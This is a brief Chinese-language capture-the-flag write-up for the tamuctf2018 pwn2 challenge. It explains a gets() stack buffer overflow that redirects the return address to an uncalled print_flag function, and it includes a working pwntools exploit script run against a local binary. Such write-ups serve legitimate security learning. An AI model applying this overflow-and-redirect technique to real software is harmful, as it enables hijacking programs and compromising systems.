tamuctf2018_pwn2

思路

  • 看函数列表有print_flag函数,但阅读可知该函数没有被调用


    print-flag.png
  • 从主函数开始看,到echo函数,看到gets,我们便可以知道了在gets溢出。


    echo.png

-已经有构造好的print_flag,因此我们只需要将gets函数的ret覆盖,使其指向print_flag的函数的地址。计算可以知道我们需要覆盖0xf3大小的空间,且print_flag函数地址为0x0804854b


s的起始.png

ret.png

代码

from pwn import*

context.log_level='debug'
io = process('./pwn2')

payload='\x90'*0xf3
payload += p32(0x0804854B)

io.recvuntil('I bet I can repeat anything you tell me!\n')
io.sendline(payload) 
io.interactive()

你可能感兴趣的:(tamuctf2018_pwn2)